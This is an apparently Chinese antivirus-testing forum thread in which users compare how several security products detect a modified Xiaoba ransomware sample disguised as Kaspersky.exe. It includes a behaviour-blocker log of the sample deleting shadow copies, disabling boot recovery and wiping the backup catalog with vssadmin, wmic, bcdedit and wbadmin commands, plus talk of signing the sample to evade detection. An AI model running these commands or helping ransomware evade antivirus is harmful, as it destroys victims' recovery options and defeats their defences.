我改造Xiaoba勒索病毒 免殺性2

a7878330

www-tekeze 发表于 2019-3-10 14:49
9楼有火绒4.0了，主防也能杀，不过拦截点比较靠后。。。上个5.0的，第一个弹窗就是主防报勒索，紧接着才 ...

如果這病毒加個數簽會不會被防毒忽略掉

阿拉爱宁波

www-tekeze 发表于 2019-3-10 14:49
9楼有火绒4.0了，主防也能杀，不过拦截点比较靠后。。。上个5.0的，第一个弹窗就是主防报勒索，紧接着才 ...

XP虚拟机，我这边和5.0和4.0拦截顺序一样，最后还是有文件被锁。

ELOHIM

YouYouok 发表于 2019-3-10 13:15
WD

改造以后微软还是准确的检测到xiaoba的DNA。

椿花湫月

Malwarebytes

-記錄詳細資料-
掃描日期: 2019/3/10
掃描時間: 下午7:49
記錄檔: 821d899c-432a-11e9-9e3f-4487fc4a764b.json

-軟體資訊-
版本: 3.7.1.2839
元件版本: 1.0.0
更新套件版本: 1.0.9608
授權: 免費

-系統資訊-
作業系統: Windows 7 Service Pack 1
CPU: x86
檔案系統: NTFS
使用者: Lenovo-PC\Lenovo

-掃描摘要-
掃描類型: 自訂掃描
啟動掃描：: 手動
結果: 已完成
已掃描的物件: 1
已偵測到的威脅: 1
已隔離的威脅: 0
經過時間: 1分、39秒

-掃描選項-
記憶體: 已停用
啟動: 已停用
檔案系統: 已啟用
封存: 已啟用
Rootkit: 已停用
啟發: 已啟用
PUP: 偵測
PUM: 偵測

-掃描詳細資料-

檔案: 1
Generic.Malware/Suspicious, C:\USERS\LENOVO\DOWNLOADS\KASPERSKY.EXE, 使用者無動作, [0], [392686],1.0.9608

左手

1. 2019/3/10 星期日 20:16:49    创建新进程 风险提示:未知    允许
   
2. 进程: c:\users\administrator\desktop\kaspersky\kaspersky.exe
   
3. 目标: c:\windows\system32\cmd.exe
   
4. 命令行: cmd /c vssadmin delete shadow /all /quiet & wmic shadowcopy delete & bcdedit /set {default} boostatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
   
5. 规则: [应用程序]?* -> [子应用程序]?:\windows\system32\cmd.exe
   
6. 
   
7. 2019/3/10 星期日 20:16:56    设置文件隐藏属性 风险提示:木马    允许
   
8. 进程: c:\users\administrator\desktop\kaspersky\kaspersky.exe
   
9. 目标: C:\Users\Administrator\Desktop\Kaspersky\Kaspersky.exe
   
10. 规则: [应用程序]?:\*\*\*\*\* -> [文件组]《询问》f909_低优先_询问桌面/开始菜单 -> [文件]c:\users\*\desktop\*
    
11. 
    
12. 2019/3/10 星期日 20:17:15    创建新进程 风险提示:未知    允许
    
13. 进程: c:\windows\system32\cmd.exe
    
14. 目标: c:\windows\system32\vssadmin.exe
    
15. 命令行: vssadmin  delete shadow /all /quiet
    
16. 规则: [应用程序]?:\windows\system32\cmd.exe -> [子应用程序]c:\windows\system32\*.exe
    
17. 
    
18. 2019/3/10 星期日 20:17:15    修改文件 风险提示:木马    阻止并结束进程
    
19. 进程: c:\users\administrator\desktop\kaspersky\kaspersky.exe
    
20. 目标: C:\autoexec.bat
    
21. 规则: [应用程序]?* -> [文件]?:\; autoexec.bat
    
22. 
    
23. 2019/3/10 星期日 20:17:32    创建新进程 风险提示:未知    允许
    
24. 进程: c:\windows\system32\cmd.exe
    
25. 目标: c:\windows\system32\wbem\wmic.exe
    
26. 命令行: wmic  shadowcopy delete
    
27. 规则: [应用程序]?:\windows\system32\cmd.exe -> [子应用程序]c:\windows\system32\*.exe
    
28. 
    
29. 2019/3/10 星期日 20:17:42    创建新进程 风险提示:未知    允许
    
30. 进程: c:\windows\system32\cmd.exe
    
31. 目标: c:\windows\system32\bcdedit.exe
    
32. 命令行: bcdedit  /set {default} boostatuspolicy ignoreallfailures
    
33. 规则: [应用程序]?:\windows\system32\cmd.exe -> [子应用程序]c:\windows\system32\*.exe
    
34. 
    
35. 2019/3/10 星期日 20:17:52    创建新进程 风险提示:未知    允许
    
36. 进程: c:\windows\system32\cmd.exe
    
37. 目标: c:\windows\system32\wbadmin.exe
    
38. 命令行: wbadmin  delete catalog -quiet
    
39. 规则: [应用程序]?:\windows\system32\cmd.exe -> [子应用程序]c:\windows\system32\*.exe
    
40. 
    
41. 2019/3/10 星期日 20:17:52    修改文件夹权限 风险提示:木马    阻止
    
42. 进程: c:\windows\system32\wbadmin.exe
    
43. 目标: C:\Windows\Logs\WindowsBackup
    
44. 规则: [应用程序组]→a999_★《临时规则_安装模式》★ -> [文件组]?:\*《任意文件夹》 -> [文件]?:\*
    
45. 
    

复制代码

YU2711

Trend Micro
Ransom_XiaoBa.R002C0DCA19

www-tekeze

a7878330 发表于 2019-3-10 18:37
如果這病毒加個數簽會不會被防毒忽略掉

火绒官人说过数签的事，基本不影响火绒判断，其它杀软偶不清楚。。。放几个样本出来试试呗。。

www-tekeze

阿拉爱宁波 发表于 2019-3-10 19:20
XP虚拟机，我这边和5.0和4.0拦截顺序一样，最后还是有文件被锁。

我也是虚拟机，桌面和两个分区里都有文档文件夹，没发生被加密的事。。。我是8.1，XP不清楚了，从这个帖看XP系统里火绒是不一样。。。有空可以给火绒官人反馈下。。   https://bbs.kafan.cn/thread-2144563-1-1.html

a7878330

www-tekeze 发表于 2019-3-10 20:47
火绒官人说过数签的事，基本不影响火绒判断，其它杀软偶不清楚。。。放几个样本出来试试呗。。

...

改天我在用數簽

www-tekeze

a7878330 发表于 2019-3-10 20:53
改天我在用數簽

嗯嗯，我等着呢。。